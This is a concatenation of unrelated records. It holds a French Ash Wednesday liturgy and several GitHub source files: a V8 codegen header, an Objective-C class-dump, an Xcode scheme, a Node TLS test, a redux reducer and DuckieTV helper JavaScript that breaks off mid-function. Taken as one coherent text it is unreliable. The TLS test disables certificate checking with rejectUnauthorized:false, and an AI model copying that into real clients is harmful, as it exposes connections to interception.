Ô Dieu, qui vous laissez fléchir par l’humiliation et apaiser par la réparation, inclinez favorablement votre oreille à nos prières, et répandez la grâce de votre bénédiction sur vos serviteurs dont les têtes auront été touchées par l’aspersion de ces cendres, en sorte que vous les remplissiez de l’esprit de componction, et que vous leur accordiez l’effet de ce q’ils auront justement demandé et qu’ils conservent perpétuellement stable et intact ce qu’ils ont reçu de votre main.
R. Amen.
_
_
v. Prions.
Dieu tout-puissant et éternel, qui avez en votre indulgence porté remède aux maux des Ninivites faisant pénitence sous la cendre et le cilice ; accordez-nous avec bonté de les imiter de telle manière en leur conversion, que nous parvenions à obtenir votre pardon.
$Per Dominum
(sed rubrica 1960 dicuntur)
Par le Christ, notre Seigneur.
R. Amen.
_
_
!Ensuite, le célébrant, après avoir imposé l’encens dans l’encensoir, asperge trois fois d’eau bénite les cendres, en disant l’antienne Asperges, sans chant ni psaume, et les encense trois fois. Puis, le plus digne des prêtres du clergé monte à l’autel, impose les cendres au célébrant debout. S’il n’y a pas d’autre prêtre, le célébrant lui-même, à genoux devant l’autel, s’impose lui-même les cendres sur la tête, sans rien dire, et aussitôt, le chœur chante :
!Antiphona.
!Joel 2:13
Devenons d’autres hommes, couvrons-nous de cendre et du cilice : jeûnons et pleurons devant le Seigneur ; car notre Dieu tout miséricordieux est prêt à nous remettre nos péchés.
_
_
!Alia Antiph.
!Joel 2:17
Que les prêtres, ministres du Seigneur, pleurent entre le vestibule et l’autel, et qu’ils disent : Épargnez, Seigneur ! épargnez votre peuple, et ne fermez pas la bouche de ceux qui chantent vos louanges, ô Seigneur.
_
_
!Responsorium
!Esther 13; Joel 2
Supprimons par nos progrès dans le bien les fautes dont nous nous sommes rendus coupables par ignorance, de crainte que surpris soudainement le jour de la mort, nous ne cherchions le temps de faire pénitence et ne puissions le trouver. Prêtez attention, Seigneur, et ayez pitié, parce que nous avons péché contre vous.
!Ps 78:9
Aidez-nous, ô Dieu, qui êtes notre Sauveur ; et délivrez-nous, Seigneur ! pour la gloire de votre nom. Prêtez attention, Seigneur.
V. Gloire au Père, au Fils et au Saint Esprit. Prêtez attention, Seigneur.
!Pendant qu’on chante les antiennes et le répons, le prêtre, la tête découverte, impose d’abord les cendres au plus digne des prêtres, qui les lui avait imposées, ensuite aux ministres parés, à genoux devant l’autel, en disant :
!Genesis 3:19
Souviens-toi, ô homme, que tu es poussière et que tu retourneras en poussière.
_
_
!Ensuite viennent les autres : d’avord le clergé par ordre, ensuite le peuple, et à genoux devant l’autel, ils reçoivent chacun les cendres du prêtres, comme on l’a dit des ministres. Une fois terminée l’imposition des cendres, le prêtre dit :
V. Le Seigneur soit avec vous.
R. Et avec votre esprit.
v. Prions.
Accordez-nous, Seigneur, d’entrer par de saints jeûnes dans les rangs de la milice chrétienne, de sorte qu’ayant à lutter contre les esprits mauvais, nous soyons munis des secours que procure l’abstinence. Par le Christ, notre Seigneur. R. Amen.
[Introitus]
!Sap 11:24 11:25; 11:27
v. Vous avez pitié de tous, Seigneur, et vous ne haïssez rien de tout ce que vous avez fait ; vous dissimulez les péchés des hommes à cause du repentir et vous leur pardonnez, car vous êtes le Seigneur notre Dieu.
!Ps 56:2
Ayez pitié de moi, ô Dieu, ayez pitié de moi, car mon âme a confiance en vous.
&Gloria
v. Vous avez pitié de tous, Seigneur, et vous ne haïssez rien de tout ce que vous avez fait ; vous dissimulez les péchés des hommes à cause du repentir et vous leur pardonnez, car vous êtes le Seigneur notre Dieu. Deus noster
[Oratio]
Accordez, Seigneur, à vos fidèles, d’entreprendre avec la piété convenable, la pratique de ces jeûnes vénérables et solennels et d’en parcourir la carrière avec une dévotion que rien ne puisse troubler.
$Per Dominum
[Lectio]
Lecture du prophète Joël.
!Joel 2:12-19
Maintenant donc, dit le Seigneur, convertissez-vous à Moi de tout votre cœur, dans le jeûne, et dans les larmes, et dans les lamentations. Déchirez vos cœurs et non vos vêtements, et convertissez-vous au Seigneur votre Dieu, parce qu'Il est bon et compatissant, patient et riche en miséricorde, et qu'Il Se peut repentir au sujet de cette calamité. Qui sait s'Il ne reviendra pas et ne pardonnera pas, et ne laissera pas après Lui la bénédiction, des offrandes, et des libations pour le Seigneur votre Dieu? Sonnez de la trompette dans Sion, ordonnez un jeûne sacré, convoquez l'assemblée, réunissez le peuple, sanctifiez l'assemblée, rassemblez les vieillards, rassemblez les enfants et ceux qui sont à la mamelle; que l'époux sorte de sa couche, et l'épouse de son lit nuptial. Que les prêtres et les ministres du Seigneur pleurent entre le vestibule et l'autel, et qu'ils disent: Epargnez, Seigneur, épargnez Votre peuple, et ne livrez pas Votre héritage à l'opprobre, en l'assujettissant aux nations. Pourquoi les peuples diraient-ils: Où est leur Dieu? Le Seigneur a été touché de zèle pour Son pays, et Il a épargné Son peuple. Le Seigneur a répondu, et il a dit à son peuple: Voici, Je vous enverrai du blé, du vin et de l'huile, et vous en serez rassasiés, et Je ne vous livrerai plus à l'opprobre des nations.
[Graduale]
!Ps 56:2; 56:4
Ayez pitié de moi, ô Dieu ! ayez pitié de moi, car mon âme a confiance en vous.
V. Il a envoyé du ciel son secours et il m’a délivré ; il a couvert d’opprobre ceux qui me foulaient aux pieds.
_
!Tractus
!Ps 102:10
Seigneur, ne nous traitez pas selon nos péchés, et ne nous punissez pas selon nos iniquités.
!Ps 78:8-9
Seigneur, ne vous souvenez plus de nos anciennes iniquités ; que vos miséricordes viennent en hâte au-devant de nous, car nous sommes réduits à la dernière misère.
V. Aidez-nous, ô Dieu notre Sauveur, et pour la gloire de votre nom, Seigneur, délivrez-nous et pardonnez-nous nos péchés, à cause de votre nom.
[Evangelium]
Lecture du Saint Évangile selon saint Mathieu.
!Matt 6:16-21
En ce temps-là, Jésus dit à ses disciples : lorsque vous jeûnez, ne prenez pas un air sombre, comme les hypocrites : car ils affectent de paraître avec un visage défiguré, pour faire paraître aux hommes qu’ils jeûnent. En vérité, je vous le dis, ils ont reçu leur récompense. Mais vous, lorsque vous jeûnez, parfumez votre tête, et lavez votre visage : afin de ne pas faire paraître aux hommes que vous jeûnez mais à votre Père qui est présent à ce qu’il y a de plus secret : et votre Père, qui voit ce qui se passe dans le secret, vous le rendra. Ne vous amassez pas des trésors dans la terre, où la rouille et les vers les mangent, et où les voleurs les déterrent et les dérobent. Mais amassez-vous des trésors dans le ciel, où ni la rouille ni les vers ne les mangent, et où il n’y a pas de voleurs qui les déterrent et qui les dérobent. Car où est votre trésor, là est aussi votre cœur.
[Offertorium]
!Ps 29:2-3
Je vous exalterai, Seigneur, parce que vous m’avez relevé et que vous n’avez pas réjoui mes ennemis à mon sujet. Seigneur, j’ai crié vers vous et vous m’avez guéri.
[Secreta]
Nous vous en supplions, Seigneur, faites que nous soyons préparés comme il convient à vous offrir ces dons avec lesquels nous célébrons l’institution de ce vénérable sacrement.
$Per Dominum
[Communio]
!Ps 1:2 et 3.
Celui qui médite jour et nuit la loi du Seigneur donnera du fruit en son temps.
[Postcommunio]
Que les sacrements que nous avons reçus nous donnent, Seigneur, le secours, afin que nos jeûnes vous soient agréables, et servent à notre guérison.
$Per Dominum
[Super populum]
!Ensuite le prêtre dit :
!Oratio super populum
v. Prions.
!Et le diacre — s’il accomplit son office — tourné vers le peuple, les mains jointes, dit : Humiliez vos têtes devant Dieu. Autrement, c’est le prêtre lui-même, debout au même endroit devant le livre et sans se tourner vers le peuple qui le dit.
v. Humiliáte cápita vestra Deo.
_
v. Jetez un regard favorable, ô Seigneur, sur ceux qui s’inclinent devant votre majesté, afin que ceux qui ont été nourris de vos dons divins soient toujours soutenus par les secours célestes.
$Per Dominum
|
{
"pile_set_name": "Github"
}
|
// Copyright 2012 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_CRANKSHAFT_IA32_LITHIUM_CODEGEN_IA32_H_
#define V8_CRANKSHAFT_IA32_LITHIUM_CODEGEN_IA32_H_
#include "src/ast/scopes.h"
#include "src/base/logging.h"
#include "src/crankshaft/ia32/lithium-gap-resolver-ia32.h"
#include "src/crankshaft/ia32/lithium-ia32.h"
#include "src/crankshaft/lithium-codegen.h"
#include "src/deoptimizer.h"
#include "src/safepoint-table.h"
#include "src/utils.h"
namespace v8 {
namespace internal {
// Forward declarations.
class LDeferredCode;
class LGapNode;
class SafepointGenerator;
class LCodeGen: public LCodeGenBase {
public:
LCodeGen(LChunk* chunk, MacroAssembler* assembler, CompilationInfo* info)
: LCodeGenBase(chunk, assembler, info),
jump_table_(4, info->zone()),
scope_(info->scope()),
deferred_(8, info->zone()),
frame_is_built_(false),
safepoints_(info->zone()),
resolver_(this),
expected_safepoint_kind_(Safepoint::kSimple) {
PopulateDeoptimizationLiteralsWithInlinedFunctions();
}
int LookupDestination(int block_id) const {
return chunk()->LookupDestination(block_id);
}
bool IsNextEmittedBlock(int block_id) const {
return LookupDestination(block_id) == GetNextEmittedBlock();
}
bool NeedsEagerFrame() const {
return HasAllocatedStackSlots() || info()->is_non_deferred_calling() ||
!info()->IsStub() || info()->requires_frame();
}
bool NeedsDeferredFrame() const {
return !NeedsEagerFrame() && info()->is_deferred_calling();
}
// Support for converting LOperands to assembler types.
Operand ToOperand(LOperand* op) const;
Register ToRegister(LOperand* op) const;
XMMRegister ToDoubleRegister(LOperand* op) const;
bool IsInteger32(LConstantOperand* op) const;
bool IsSmi(LConstantOperand* op) const;
Immediate ToImmediate(LOperand* op, const Representation& r) const {
return Immediate(ToRepresentation(LConstantOperand::cast(op), r));
}
double ToDouble(LConstantOperand* op) const;
Handle<Object> ToHandle(LConstantOperand* op) const;
// The operand denoting the second word (the one with a higher address) of
// a double stack slot.
Operand HighOperand(LOperand* op);
// Try to generate code for the entire chunk, but it may fail if the
// chunk contains constructs we cannot handle. Returns true if the
// code generation attempt succeeded.
bool GenerateCode();
// Finish the code by setting stack height, safepoint, and bailout
// information on it.
void FinishCode(Handle<Code> code);
// Deferred code support.
void DoDeferredNumberTagD(LNumberTagD* instr);
enum IntegerSignedness { SIGNED_INT32, UNSIGNED_INT32 };
void DoDeferredNumberTagIU(LInstruction* instr,
LOperand* value,
LOperand* temp,
IntegerSignedness signedness);
void DoDeferredTaggedToI(LTaggedToI* instr, Label* done);
void DoDeferredMathAbsTaggedHeapNumber(LMathAbs* instr);
void DoDeferredStackCheck(LStackCheck* instr);
void DoDeferredMaybeGrowElements(LMaybeGrowElements* instr);
void DoDeferredStringCharCodeAt(LStringCharCodeAt* instr);
void DoDeferredStringCharFromCode(LStringCharFromCode* instr);
void DoDeferredAllocate(LAllocate* instr);
void DoDeferredInstanceMigration(LCheckMaps* instr, Register object);
void DoDeferredLoadMutableDouble(LLoadFieldByIndex* instr,
Register object,
Register index);
// Parallel move support.
void DoParallelMove(LParallelMove* move);
void DoGap(LGap* instr);
// Emit frame translation commands for an environment.
void WriteTranslation(LEnvironment* environment, Translation* translation);
void EnsureRelocSpaceForDeoptimization();
// Declare methods that deal with the individual node types.
#define DECLARE_DO(type) void Do##type(L##type* node);
LITHIUM_CONCRETE_INSTRUCTION_LIST(DECLARE_DO)
#undef DECLARE_DO
private:
Scope* scope() const { return scope_; }
XMMRegister double_scratch0() const { return xmm0; }
void EmitClassOfTest(Label* if_true, Label* if_false,
Handle<String> class_name, Register input,
Register temporary, Register temporary2);
bool HasAllocatedStackSlots() const {
return chunk()->HasAllocatedStackSlots();
}
int GetStackSlotCount() const { return chunk()->GetSpillSlotCount(); }
int GetTotalFrameSlotCount() const {
return chunk()->GetTotalFrameSlotCount();
}
void AddDeferredCode(LDeferredCode* code) { deferred_.Add(code, zone()); }
void SaveCallerDoubles();
void RestoreCallerDoubles();
// Code generation passes. Returns true if code generation should
// continue.
void GenerateBodyInstructionPre(LInstruction* instr) override;
void GenerateBodyInstructionPost(LInstruction* instr) override;
bool GeneratePrologue();
bool GenerateDeferredCode();
bool GenerateJumpTable();
bool GenerateSafepointTable();
// Generates the custom OSR entrypoint and sets the osr_pc_offset.
void GenerateOsrPrologue();
enum SafepointMode {
RECORD_SIMPLE_SAFEPOINT,
RECORD_SAFEPOINT_WITH_REGISTERS_AND_NO_ARGUMENTS
};
void CallCode(Handle<Code> code,
RelocInfo::Mode mode,
LInstruction* instr);
void CallCodeGeneric(Handle<Code> code,
RelocInfo::Mode mode,
LInstruction* instr,
SafepointMode safepoint_mode);
void CallRuntime(const Runtime::Function* fun,
int argc,
LInstruction* instr,
SaveFPRegsMode save_doubles = kDontSaveFPRegs);
void CallRuntime(Runtime::FunctionId id,
int argc,
LInstruction* instr) {
const Runtime::Function* function = Runtime::FunctionForId(id);
CallRuntime(function, argc, instr);
}
void CallRuntime(Runtime::FunctionId id, LInstruction* instr) {
const Runtime::Function* function = Runtime::FunctionForId(id);
CallRuntime(function, function->nargs, instr);
}
void CallRuntimeFromDeferred(Runtime::FunctionId id,
int argc,
LInstruction* instr,
LOperand* context);
void LoadContextFromDeferred(LOperand* context);
void PrepareForTailCall(const ParameterCount& actual, Register scratch1,
Register scratch2, Register scratch3);
// Generate a direct call to a known function. Expects the function
// to be in edi.
void CallKnownFunction(Handle<JSFunction> function,
int formal_parameter_count, int arity,
bool is_tail_call, LInstruction* instr);
void RecordSafepointWithLazyDeopt(LInstruction* instr,
SafepointMode safepoint_mode);
void RegisterEnvironmentForDeoptimization(LEnvironment* environment,
Safepoint::DeoptMode mode);
void DeoptimizeIf(Condition cc, LInstruction* instr,
DeoptimizeReason deopt_reason,
Deoptimizer::BailoutType bailout_type);
void DeoptimizeIf(Condition cc, LInstruction* instr,
DeoptimizeReason deopt_reason);
bool DeoptEveryNTimes() {
return FLAG_deopt_every_n_times != 0 && !info()->IsStub();
}
void AddToTranslation(LEnvironment* environment,
Translation* translation,
LOperand* op,
bool is_tagged,
bool is_uint32,
int* object_index_pointer,
int* dematerialized_index_pointer);
Register ToRegister(int index) const;
XMMRegister ToDoubleRegister(int index) const;
int32_t ToRepresentation(LConstantOperand* op, const Representation& r) const;
int32_t ToInteger32(LConstantOperand* op) const;
ExternalReference ToExternalReference(LConstantOperand* op) const;
Operand BuildFastArrayOperand(LOperand* elements_pointer,
LOperand* key,
Representation key_representation,
ElementsKind elements_kind,
uint32_t base_offset);
Operand BuildSeqStringOperand(Register string,
LOperand* index,
String::Encoding encoding);
void EmitIntegerMathAbs(LMathAbs* instr);
// Support for recording safepoint information.
void RecordSafepoint(LPointerMap* pointers,
Safepoint::Kind kind,
int arguments,
Safepoint::DeoptMode mode);
void RecordSafepoint(LPointerMap* pointers, Safepoint::DeoptMode mode);
void RecordSafepoint(Safepoint::DeoptMode mode);
void RecordSafepointWithRegisters(LPointerMap* pointers,
int arguments,
Safepoint::DeoptMode mode);
static Condition TokenToCondition(Token::Value op, bool is_unsigned);
void EmitGoto(int block);
// EmitBranch expects to be the last instruction of a block.
template<class InstrType>
void EmitBranch(InstrType instr, Condition cc);
template <class InstrType>
void EmitTrueBranch(InstrType instr, Condition cc);
template <class InstrType>
void EmitFalseBranch(InstrType instr, Condition cc);
void EmitNumberUntagD(LNumberUntagD* instr, Register input, Register temp,
XMMRegister result, NumberUntagDMode mode);
// Emits optimized code for typeof x == "y". Modifies input register.
// Returns the condition on which a final split to
// true and false label should be made, to optimize fallthrough.
Condition EmitTypeofIs(LTypeofIsAndBranch* instr, Register input);
// Emits optimized code for %_IsString(x). Preserves input register.
// Returns the condition on which a final split to
// true and false label should be made, to optimize fallthrough.
Condition EmitIsString(Register input,
Register temp1,
Label* is_not_string,
SmiCheck check_needed);
// Emits optimized code to deep-copy the contents of statically known
// object graphs (e.g. object literal boilerplate).
void EmitDeepCopy(Handle<JSObject> object,
Register result,
Register source,
int* offset,
AllocationSiteMode mode);
void EnsureSpaceForLazyDeopt(int space_needed) override;
void DoLoadKeyedExternalArray(LLoadKeyed* instr);
void DoLoadKeyedFixedDoubleArray(LLoadKeyed* instr);
void DoLoadKeyedFixedArray(LLoadKeyed* instr);
void DoStoreKeyedExternalArray(LStoreKeyed* instr);
void DoStoreKeyedFixedDoubleArray(LStoreKeyed* instr);
void DoStoreKeyedFixedArray(LStoreKeyed* instr);
template <class T>
void EmitVectorLoadICRegisters(T* instr);
void EmitReturn(LReturn* instr);
// Emits code for pushing either a tagged constant, a (non-double)
// register, or a stack slot operand.
void EmitPushTaggedOperand(LOperand* operand);
friend class LGapResolver;
#ifdef _MSC_VER
// On windows, you may not access the stack more than one page below
// the most recently mapped page. To make the allocated area randomly
// accessible, we write an arbitrary value to each page in range
// esp + offset - page_size .. esp in turn.
void MakeSureStackPagesMapped(int offset);
#endif
ZoneList<Deoptimizer::JumpTableEntry> jump_table_;
Scope* const scope_;
ZoneList<LDeferredCode*> deferred_;
bool frame_is_built_;
// Builder that keeps track of safepoints in the code. The table
// itself is emitted at the end of the generated code.
SafepointTableBuilder safepoints_;
// Compiler from a set of parallel moves to a sequential list of moves.
LGapResolver resolver_;
Safepoint::Kind expected_safepoint_kind_;
class PushSafepointRegistersScope final BASE_EMBEDDED {
public:
explicit PushSafepointRegistersScope(LCodeGen* codegen)
: codegen_(codegen) {
DCHECK(codegen_->expected_safepoint_kind_ == Safepoint::kSimple);
codegen_->masm_->PushSafepointRegisters();
codegen_->expected_safepoint_kind_ = Safepoint::kWithRegisters;
DCHECK(codegen_->info()->is_calling());
}
~PushSafepointRegistersScope() {
DCHECK(codegen_->expected_safepoint_kind_ == Safepoint::kWithRegisters);
codegen_->masm_->PopSafepointRegisters();
codegen_->expected_safepoint_kind_ = Safepoint::kSimple;
}
private:
LCodeGen* codegen_;
};
friend class LDeferredCode;
friend class LEnvironment;
friend class SafepointGenerator;
DISALLOW_COPY_AND_ASSIGN(LCodeGen);
};
class LDeferredCode : public ZoneObject {
public:
explicit LDeferredCode(LCodeGen* codegen)
: codegen_(codegen),
external_exit_(NULL),
instruction_index_(codegen->current_instruction_) {
codegen->AddDeferredCode(this);
}
virtual ~LDeferredCode() {}
virtual void Generate() = 0;
virtual LInstruction* instr() = 0;
void SetExit(Label* exit) { external_exit_ = exit; }
Label* entry() { return &entry_; }
Label* exit() { return external_exit_ != NULL ? external_exit_ : &exit_; }
Label* done() { return codegen_->NeedsDeferredFrame() ? &done_ : exit(); }
int instruction_index() const { return instruction_index_; }
protected:
LCodeGen* codegen() const { return codegen_; }
MacroAssembler* masm() const { return codegen_->masm(); }
private:
LCodeGen* codegen_;
Label entry_;
Label exit_;
Label* external_exit_;
Label done_;
int instruction_index_;
};
} // namespace internal
} // namespace v8
#endif // V8_CRANKSHAFT_IA32_LITHIUM_CODEGEN_IA32_H_
|
{
"pile_set_name": "Github"
}
|
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.
//
#import <ParsecUI/PRSPreviewController.h>
#import "NSTableViewDataSource-Protocol.h"
#import "NSTableViewDelegate-Protocol.h"
@class NSArray, NSImage, NSImageView, NSMutableArray, NSScrollView, NSString, NSTableColumn, NSTableView, NSTextField;
@interface SPResultWithSubitemsHelper : PRSPreviewController <NSTableViewDelegate, NSTableViewDataSource>
{
BOOL _awoke;
long long _gen;
NSMutableArray *_thumbnails;
NSArray *_subItems;
NSString *_secondaryString;
NSString *_filePath;
NSString *_displayName;
NSImage *_icon;
NSScrollView *_scrollView;
NSTextField *_appName;
NSTextField *_appVersion;
NSImageView *_iconView;
NSTableView *_tableView;
NSTableColumn *_mainColumn;
}
+ (id)sharedPreviewController;
@property __weak NSTableColumn *mainColumn; // @synthesize mainColumn=_mainColumn;
@property __weak NSTableView *tableView; // @synthesize tableView=_tableView;
@property __weak NSImageView *iconView; // @synthesize iconView=_iconView;
@property __weak NSTextField *appVersion; // @synthesize appVersion=_appVersion;
@property __weak NSTextField *appName; // @synthesize appName=_appName;
@property __weak NSScrollView *scrollView; // @synthesize scrollView=_scrollView;
@property(retain) NSImage *icon; // @synthesize icon=_icon;
@property(retain) NSString *displayName; // @synthesize displayName=_displayName;
@property(retain) NSString *filePath; // @synthesize filePath=_filePath;
@property(retain) NSString *secondaryString; // @synthesize secondaryString=_secondaryString;
@property(retain) NSArray *subItems; // @synthesize subItems=_subItems;
- (void).cxx_destruct;
- (void)openItem:(BOOL)arg1;
- (id)tableView:(id)arg1 viewForTableColumn:(id)arg2 row:(long long)arg3;
- (void)setupResultCell:(id)arg1 forRow:(long long)arg2;
- (id)groupHeading;
- (id)tableView:(id)arg1 rowViewForRow:(long long)arg2;
- (void)keyDown:(id)arg1;
- (void)clearSelectionInSubView;
- (void)resetSubView;
- (BOOL)tableView:(id)arg1 isGroupRow:(long long)arg2;
- (double)tableView:(id)arg1 heightOfRow:(long long)arg2;
- (long long)numberOfRowsInTableView:(id)arg1;
- (void)setRepresentedObject:(id)arg1;
- (void)awakeFromNib;
- (void)doubleClick:(id)arg1;
- (void)setupForObject:(id)arg1;
- (id)init;
// Remaining properties
@property(readonly, copy) NSString *debugDescription;
@property(readonly, copy) NSString *description;
@property(readonly) unsigned long long hash;
@property(readonly) Class superclass;
@end
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "0600"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "A6AD1DF51976CF00006AB781"
BuildableName = "Sorting Data in Core Data.app"
BlueprintName = "Sorting Data in Core Data"
ReferencedContainer = "container:Sorting Data in Core Data.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES"
buildConfiguration = "Debug">
<Testables>
<TestableReference
skipped = "NO">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "A6AD1E0A1976CF00006AB781"
BuildableName = "Sorting Data in Core DataTests.xctest"
BlueprintName = "Sorting Data in Core DataTests"
ReferencedContainer = "container:Sorting Data in Core Data.xcodeproj">
</BuildableReference>
</TestableReference>
</Testables>
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "A6AD1DF51976CF00006AB781"
BuildableName = "Sorting Data in Core Data.app"
BlueprintName = "Sorting Data in Core Data"
ReferencedContainer = "container:Sorting Data in Core Data.xcodeproj">
</BuildableReference>
</MacroExpansion>
</TestAction>
<LaunchAction
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
buildConfiguration = "Debug"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
allowLocationSimulation = "YES">
<BuildableProductRunnable>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "A6AD1DF51976CF00006AB781"
BuildableName = "Sorting Data in Core Data.app"
BlueprintName = "Sorting Data in Core Data"
ReferencedContainer = "container:Sorting Data in Core Data.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<AdditionalOptions>
</AdditionalOptions>
</LaunchAction>
<ProfileAction
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
buildConfiguration = "Release"
debugDocumentVersioning = "YES">
<BuildableProductRunnable>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "A6AD1DF51976CF00006AB781"
BuildableName = "Sorting Data in Core Data.app"
BlueprintName = "Sorting Data in Core Data"
ReferencedContainer = "container:Sorting Data in Core Data.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
|
{
"pile_set_name": "Github"
}
|
// Copyright Joyent, Inc. and other Node contributors.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
if (!process.versions.openssl) {
console.error('Skipping because node compiled without OpenSSL.');
process.exit(0);
}
var common = require('../common');
var common = require('../common');
var tls = require('tls');
var fs = require('fs');
var assert = require('assert');
var options = {
key: fs.readFileSync(common.fixturesDir + '/test_key.pem'),
cert: fs.readFileSync(common.fixturesDir + '/test_cert.pem')
};
var gotError = 0,
gotRequest = 0,
connected = 0;
var server = tls.createServer(options, function(c) {
gotRequest++;
c.on('data', function(data) {
console.log(data.toString());
});
c.on('close', function() {
server.close();
});
}).listen(common.PORT, function() {
var c = tls.connect(common.PORT, { rejectUnauthorized: false }, function() {
connected++;
c.pair.ssl.shutdown();
c.write('123');
c.destroy();
});
c.once('error', function() {
gotError++;
});
});
process.once('exit', function() {
assert.equal(gotError, 1);
assert.equal(gotRequest, 1);
assert.equal(connected, 1);
});
|
{
"pile_set_name": "Github"
}
|
import { handleActions } from 'redux-actions'
import { get } from 'lodash'
import { INIT } from '../types'
export const INITIAL_STATE = {}
export const reducer = handleActions({
[INIT]: (state, { payload }) => ({
...state,
config: get(payload, ['reference', 'config'], null),
share: get(payload, ['reference', 'share'], null),
origin: get(payload, ['reference', 'origin'], null)
})
}, INITIAL_STATE)
|
{
"pile_set_name": "Github"
}
|
/** DOMParser Polyfill */
(function(DOMParser) {
'use strict'
var DOMParser_proto = DOMParser.prototype
var real_parseFromString = DOMParser_proto.parseFromString
// Firefox/Opera/IE throw errors on unsupported types
try {
// WebKit returns null on unsupported types
if ((new DOMParser()).parseFromString('', 'text/html')) {
// text/html parsing is natively supported
return
}
} catch (ex) {}
DOMParser_proto.parseFromString = function(markup, type) {
if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
var
doc = document.implementation.createHTMLDocument('')
if (markup.toLowerCase().indexOf('<!doctype') > -1) {
doc.documentElement.innerHTML = markup
} else {
doc.body.innerHTML = markup
}
return doc
} else {
return real_parseFromString.apply(this, arguments)
}
}
}(DOMParser))
/**
* Helper class for more fluent parsing of HTML results in a document parsed from string
* Example:
*
* var scraper = new HTMLScraper(response.data);
* scraper.walkSelector('table tr:not(:first-child)', function(node) {
* scraper.walkNodes(node.querySelectorAll('td'), function(cell, idx) {
* // do something with cells for each row.
* });
* });
*
*/
var HTMLScraper = function(text) {
var parser = new DOMParser()
this.doc = parser.parseFromString(text, 'text/html')
this.walkSelector = function(selector, callback) {
return this.walkNodes(this.querySelectorAll(selector), callback)
}
this.querySelector = function(selector) {
return this.doc.querySelector(selector)
}
this.querySelectorAll = function(selector) {
return this.doc.querySelectorAll(selector)
}
this.walkNodes = function(nodes, callback) {
return Array.prototype.map.call(nodes, callback)
}
return this
}
/**
* Allow for easy prototype extension.
* This means you can create a class, and extend another class onto it,
* while overwriting specific prototype implementations.
* Call the parent class's prototype methods by referring to prototype.constructor.
*/
Function.prototype.extends = function(ParentClass, prototypeImplementations) {
this.prototype = Object.create(ParentClass.prototype)
this.prototype.constructor = ParentClass
if (undefined === prototypeImplementations) {
prototypeImplementations = {}
}
// add all prototypeImplementations to the non-prototype chain for this function.
Object.keys(prototypeImplementations).map(function(key) {
this.prototype[key] = prototypeImplementations[key]
}, this)
}
console.info('%cDuckieTV', 'color:transparent; font-size: 16pt; line-height: 125px; padding:25px; padding-top:30px; padding-bottom:60px; background-image:url(https://duckietv.github.io/DuckieTV/img/logo/icon128.png); background-repeat:no-repeat; ', 'quack!\n\n\n\n\n\n')
if (localStorage.getItem('optin_error_reporting')) {
/* duckietv_halp */
if (!localStorage.getItem('optin_error_reporting.start_time')) {
localStorage.setItem('optin_error_reporting.start_time', new Date().getTime())
}
// if opt-in was enabled for more than 7 days then disable it
var localDT = new Date().getTime()
var halpEnabled = new Date(parseInt(localStorage.getItem('optin_error_reporting.start_time')))
var halpExpiryDT = new Date(halpEnabled.getFullYear(), halpEnabled.getMonth(), halpEnabled.getDate() + 7, halpEnabled.getHours(), halpEnabled.getMinutes(), halpEnabled.getSeconds()).getTime()
var timeToHalpExpiry = (halpExpiryDT - localDT)
if (timeToHalpExpiry > 0) {
// set up error tracking
console.info('Opt-In Error Tracking Service Enabled.')
var s = document.createElement('script')
s.type = 'text/javascript'
s.src = 'https://api.loggr.net/1/loggr.min.js?l=duckietv_115_halp&a=3f85c533e09d4a6e9af2065d597f511b'
// s.src = 'https://api.loggr.net/1/loggr.min.js?l=duckietv_dev_halp&a=8c835f96de1e401597feb2389e4af473'; // garfield69's development testing loggr
document.body.appendChild(s)
if (!localStorage.getItem('uniqueId')) {
